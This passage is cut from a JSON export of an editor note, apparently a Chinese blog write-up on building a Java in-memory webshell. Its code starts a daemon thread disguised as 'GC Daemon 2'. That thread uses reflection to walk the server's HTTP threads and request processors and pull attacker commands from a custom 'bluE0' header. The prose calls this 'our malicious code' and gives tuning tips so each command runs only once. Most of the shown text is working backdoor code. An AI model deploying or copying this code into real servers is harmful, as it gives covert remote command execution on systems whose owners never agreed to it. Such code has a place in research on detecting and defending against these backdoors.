}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jVNh-1654851584470&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PXoy-1654851584469&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1qol-1654851584472&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1eNu-1654851584471&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}, \&#34;GC Daemon 2\&#34;, 0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rBan-1654851584474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RREU-1654851584473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uyFe-1654851584476&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Up1p-1654851584475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;d.setDaemon(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dqOG-1654851584478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tpt6-1654851584477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;d.start();&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0BBh-1650709661032&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OjrK-1650709661030&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调试过程中发现有两个小问题：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uygF-1654851663923&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rbay-1654851663920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;1.requset请求获取逻辑&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CLSl-1654851735914&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rAt-1654851735912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在使用System线程组创建线程后，当前的ThreadGroup将会变为system，但其中的groups中包含我们所需的main线程组。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hmcs-1654852114726&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE9cfcff8701ce6e5decde5e39bdbd6adc&#34;,&#34;version&#34;:1,&#34;width&#34;:761,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE9cfcff8701ce6e5decde5e39bdbd6adc&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:437},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TeoE-1654851765023&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVmz-1654851765020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以这里需要稍微改一下requset获取逻辑：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WvDf-1654852260477&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UZG5-1654852260374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jG0k-1654852260373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public List&lt;Object&gt;getRequest() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;be9w-1654852260376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FJC3-1654852260375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gkMS-1654852260378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9fA3-1654852260377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ThreadGroup[] groups = (ThreadGroup[]) getField(Thread.currentThread().getThreadGroup(), \&#34;groups\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QXgJ-1654852260380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hozm-1654852260379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for (ThreadGroup group : groups) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mn3K-1654852260382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PABN-1654852260381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (group.getName().equals(\&#34;main\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aVKu-1654852260384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RbX8-1654852260383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(group, \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B2Ws-1654852260386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f1Bk-1654852260385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nH9q-1654852260388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Om49-1654852260387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wDzZ-1654852260390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fVn9-1654852260389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gFZ2-1654852260392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KzbT-1654852260391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bmUh-1654852260394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D1WW-1654852260393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;http\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HPDU-1654852260396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gq7l-1654852260395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQ9F-1654852260398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DSYo-1654852260397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F9CT-1654852260400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dNQX-1654852260399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uAoL-1654852260402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bxP9-1654852260401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    target = getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;handler\&#34;), \&#34;global\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tlqq-1654852260404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lm8r-1654852260403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OYsW-1654852260406&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hkHI-1654852260405&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1prH-1654852260408&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2BXL-1654852260407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ysgX-1654852260410&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JVgM-1654852260409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t7nT-1654852260412&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TMJ9-1654852260411&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                List processors = (List) getField(target, \&#34;processors\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QZj6-1654852260414&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X6tj-1654852260413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kBbR-1654852260416&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D1F6-1654852260415&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                for (Object processor : processors) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GsYm-1654852260418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WCSG-1654852260417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    target = getField(processor, \&#34;req\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MeCr-1654852260420&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SMIY-1654852260419&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    String cmd  = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nVm8-1654852260422&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWPv-1654852260421&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    cmd = (String) target.getClass().getMethod(\&#34;getHeader\&#34;, String.class).invoke(target, new String(\&#34;bluE0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SeGt-1654852260425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLRC-1654852260424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (cmd != null &amp;&amp; !cmd.isEmpty()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jCMR-1654852260427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TAJS-1654852260426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;03Yw-1654852260429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qrA3-1654852260428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Object note = target.getClass().getDeclaredMethod(\&#34;getNote\&#34;, int.class).invoke(target, 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wNHx-1654852260431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6nrb-1654852260430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(\&#34;note = \&#34; + note);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s1W8-1654852260433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5yA1-1654852260432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Object req = note.getClass().getDeclaredMethod(\&#34;getRequest\&#34;).invoke(note);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tmi1-1654852260435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qc66-1654852260434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(\&#34;req = \&#34; + req);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HOy2-1654852260437&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iKQM-1654852260436&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        List&lt;Object&gt;list = new ArrayList&lt;Object&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uuou-1654852260439&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T23P-1654852260438&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        list.add(req);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;02t1-1654852260441&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;64l1-1654852260440&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        list.add(cmd);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ecP-1654852260443&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q97z-1654852260442&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        return list;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Ifr-1654852260445&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fMj5-1654852260444&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TOoA-1654852260447&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DYOL-1654852260446&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZPl-1654852260449&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HYus-1654852260448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LQXX-1654852260451&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ypkZ-1654852260450&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u4Hu-1654852260453&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9Z4-1654852260452&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xAmT-1654852260455&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BuYs-1654852260454&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kA4-1654852260457&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rVjj-1654852260456&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u9wb-1654852260459&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MR6Y-1654852260458&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GosB-1654852260461&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zWAY-1654852260460&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;POwU-1654852260463&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EROk-1654852260462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NTeM-1654852260465&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ck9s-1654852260464&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V04G-1654852260467&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pAwH-1654852260466&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yWTz-1654852260469&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fQCB-1654852260468&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yWUR-1654852260471&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zDw8-1654852260470&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANuB-1654852260474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Td6-1654852260473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return new ArrayList&lt;Object&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iofy-1654852260476&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cl2W-1654852260475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a05S-1654851736373&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T05I-1654851736371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;2.线程执行时间不均&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1SwC-1654847856224&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xnnS-1654847856218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;此问题是由于server在处理request时的时间与我们创建的守护线程在执行代码逻辑时的时间不一致导致的，简单点说就是我们的恶意代码执行时间小于server的响应时间，所以可能会出现一次命令执行多次的情况。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s6NY-1654852518541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cVZH-1654852518525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在这里su18师傅通过hashSet记录执行的命令，使每一条命令只能执行一次。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oBrX-1654852589560&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PwUo-1654852589548&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;经过测试在自己本地的测试环境下，将sleep时间改为10000ms时，每次命令大概只会重复执行一次：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 